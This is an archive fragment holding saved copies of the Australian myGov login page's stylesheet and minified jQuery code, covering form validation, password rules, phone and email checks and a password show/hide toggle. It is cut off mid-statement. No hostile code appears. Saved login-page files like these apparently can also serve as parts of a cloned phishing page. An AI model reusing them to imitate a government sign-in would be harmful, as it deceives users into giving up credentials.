#modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid #999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/login_files/mgv2-application.js.download000064400000224023151676702570016322 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i<hashes.length;i++){var hash=hashes[i].split("=");params[hash[0]]=hash[1];}return params;};global.getAndroidVersion=function(ua){var match=(ua||navigator.userAgent).match(/android\s([0-9\.]*)/i);if(match){return parseFloat(match[1]);}};global.isTouchDevice=(function(){try{document.createEvent("TouchEvent");return true;}catch(e){return false;}})();global.oneUseEvent=function(element,event,fn){function handler(e){fn.call(this,e);this.removeEventListener(event,handler);}element.addEventListener(event,handler);};$(function(){global.isMobileDevice=$(window).width()<=global.maxMobileScreenWidth&&global.isTouchDevice;});})(window.global=window.global||{});$(document).ready(function(){var $menuHitbox=$(".menu-hitbox");$menuHitbox.on("click",function(e){var $this=$(this);if(!$this.hasClass("open")){$this.addClass("open");$this.siblings(".global-menu").slideDown(function(){$this.addClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Close");}else{$this.removeClass("open");$this.siblings(".global-menu").slideUp(function(){$this.removeClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Menu");}});$menuHitbox.on("keyup",function(e){if(e.which==13){$menuHitbox.trigger("click");}});});$(document).ready(function(){cleanDefaultValues();$(".button-main").on("mousedown",function(event){if(event.button&&event.button!==0){return;}$("form input:visible:enabled").each(function(){if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"</"+elementType+">").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="<span id='errorSelect' class='hasError'></span>";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpasswordhelptext+"</p>");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepasswordhelptext+"</p>");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p>';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x<str.length;x++){var c=str.charAt(x);var d=str.charAt(x+1);var e=str.charAt(x+2);if(isthreeSequential(c,d,e)||isthreeRepeated(c,d,e)){var x=x+2;count++;}}return(count>1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your mobile number","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var 